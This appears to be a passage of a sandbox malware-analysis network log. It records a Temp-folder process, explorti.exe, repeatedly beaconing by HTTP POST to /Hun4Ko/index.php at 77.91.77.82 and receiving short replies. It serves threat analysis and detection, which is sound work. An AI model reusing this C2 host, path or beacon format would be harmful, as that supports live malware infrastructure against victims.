Jul 5, 2024 05:10:16.304296017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:16.305944920 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:16.527744055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49749	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:16.648510933 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:17.363126040 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:17.365453959 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:17.594145060 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49750	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:17.706784010 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:18.398535967 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:18.399399042 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:18.616611958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49751	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:18.737929106 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:19.432054043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:19.432748079 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:19.648850918 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49752	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:19.769524097 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:20.471168995 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:20.473938942 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:20.691514969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49753	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:20.816206932 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:21.551939964 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:21.552846909 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:21.780407906 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.4	49754	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:21.894308090 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:22.605396032 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:22.606164932 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:22.831770897 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.4	49755	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:22.941123962 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:23.662369013 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:23.670679092 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:23.896245003 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	49756	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:24.003942013 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:24.715133905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:24.716074944 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:24.936079979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	49757	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:25.052263975 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:25.773075104 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:25.773895025 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:25.999701023 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	49758	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:26.113531113 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:26.824183941 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:26.825114012 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:27.052367926 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	49759	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:27.159976006 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:27.883590937 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:27.884572983 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:28.108021975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.4	49760	77.91.77.82	80	8152	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 5, 2024 05:10:28.223864079 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 5, 2024 05:10:28.925721884 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 5, 2024 05:10:28.929181099 CEST	303	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 35 32 45 37 35 42 34 35 44 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7EB52E75B45D82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Jul 5, 2024 05:10:29.146338940 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 05 Jul 2024 03:10:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
